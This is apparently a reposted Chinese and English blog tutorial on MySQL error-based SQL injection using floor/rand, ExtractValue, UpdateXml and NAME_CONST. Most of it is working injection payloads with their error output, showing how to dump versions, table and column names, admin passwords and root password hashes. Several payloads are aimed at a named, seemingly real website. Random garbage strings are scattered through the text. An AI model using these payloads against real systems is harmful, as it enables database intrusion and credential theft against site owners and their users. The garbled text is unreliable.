mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
4 _& Y: r6 g( F, h+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
* p1 v9 `4 [  ?+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
" d1 K% [5 r2 c0 t( i( V6 HERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
5 `4 G/ q2 I0 j- i: Z  U8 X. g. rERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
1 o: ]9 ~# J7 N2 HERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
$ f  K* ], h0 h, E: [' EERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

0 W& |  Z1 t! y, [& bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

) m' S$ B4 T. U- B" P$ mErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
) M- F8 k+ B- J7 {% ?: S! f: AIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

1 R- m( j; X2 Q; F) }
0 G1 T4 y, X) @7 C3 ^相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)

( x8 X$ f/ e- h+ w, U9 ~Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

/ }3 W% W; ]* D5 p6 Y0 q6 pSELECT NAME_CONST('TEST', 1)
8 V, O& y7 E: V4 W& B) G
2 _9 R2 X/ g  V, j1 L4 W% N. w
; h: g" [1 y0 N/ B3 v6 Z& U
8 [/ ?, O  y+ a: E' S& D& q|---------------|
# T- o: J+ h- h|     TEST      |
# ~$ N% c8 }: L! ]) _% Q|               |
|---------------|
|       1       |
! e/ _* \0 n& s$ P1 I& A7 r|               |
5 T. D. Q$ L6 y4 [% M/ ||---------------|
: V3 ?5 x+ u& o' O# P: O

" L. s' q4 D7 x# Q1 W& [8 Y

http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
. L9 {2 b9 r- I5 r/ }2 b
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
3 {, G. \! h7 w# @( X9 Ohttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
# M& u! g8 y2 u( a8 d
( Q0 d) N; u& P/ B
3 ?, ^3 e0 o1 L" W


Code:
6 }; Q; T6 L* ?( [1 e: Q8 Wand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
# V& w& Q6 [8 f+ `* W( C; y' c3 G+ [
6 q  B  w. o. E  Q1 s
, d/ O" |$ ]- rVAR = Your MySQL variable.
( m* A( F2 R7 K9 T
MySQL 5.1.3 Server System Variables
, `( Z! q  W$ o! J' T
Let's try it out on my site..
9 {; q3 @% a: x! o  g
5 e3 L4 o# e( o) j% V; OCode:
, C2 b: k( j, N0 N, ihttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

3 l8 x. Q" \" ~" Q1 j4 uErroruplicate column name '5.0.27-community-nt'
  @  J& I* h% k2 ?1 y

5 H3 W. A5 D, {9 D( y" k6 D3 K0 X


Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
' m$ T7 j3 s$ @# t1 U5 F
* h/ k1 C; A% w7 uData Extraction
2 _# M( w# ^( s( Q' h! E! z3 o4 L
* c6 |& ?0 b  n* L' F  {5 V7 TCode:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


We should get a duplicate column 1 error...

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

3 S2 M0 O6 C* sErroruplicate column name '1



" E& N2 A- W  H( a) q
$ t1 a! A6 e5 @

  q; [, H: r% n# {: p  qNow let's get the tables out this bitch..
  w* G. Q, H: A. |6 O: o% N
( y3 K# K* f5 PCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

; D0 g+ j6 v' o) M; t- ?
Let's see if it works here, if it does, we can go on and finish the job.
) h: [" P; |. F/ o
1 ?6 q2 J3 L& y% `7 qCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
! T/ P* J& x2 ^% Q; j1 N

  D/ w8 N2 b* G2 ~8 @2 lErroruplicate column name 'com_admanage
- N+ G6 [5 d0 ^5 f& Y. }( M

. h* Y! w! I2 d$ o



Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
  d7 ^3 H$ D3 f  f% @1 \
& @7 n' D; ~6 L' zLet's get the columns out of the user table..

$ T# V3 i, P5 M3 X; bCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

, Z1 X, S& E/ G; A! }/ T" X
/ ^7 w+ f% J$ l2 H6 m: e  S; ASo mine looks like this, and I get the duplicate column name 'Host'.

Code:
1 e# `- c: }$ Z& n" |& W( _: Fhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

- _" J  q8 `. W% t2 DErroruplicate column name 'Host'
3 E$ M6 y( \& X* h9 D: d
- v: o9 C6 g9 g4 x* p1 U; r' w. i
  A9 p; L) |5 F0 X, D5 d7 U
$ o* \; d8 H  Y4 D
: Q. N1 r4 |4 T% _

& p' h( F* U( J& ]* Z$ DWoot, time to finish this bitch off.
2 r/ T1 V1 i7 P# P$ {$ V' H% L& W
( a8 n; P9 D. ?. Z0 y' w, _Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
# B) I3 |4 d: v- @8 ]% N/ ]
7 Y2 m( j3 g7 N6 V
$ ?, @9 q) t% {So mine looks like this...
* l6 v, C8 U$ z" i' T
& O! O$ ~. f) J5 xCode:
7 ^2 x5 f2 z* h/ m; v5 qhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
" f$ i  \, f9 d/ }8 ~# W1 u8 n
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

4 I) x: N# g4 b6 X


) N" ]0 x' B4 a) r+ N$ T8 I
- h- R" b+ y5 J( b. M
0 c$ U; a2 w9 [" k; ^2 a% `And there we have it, thanks for reading.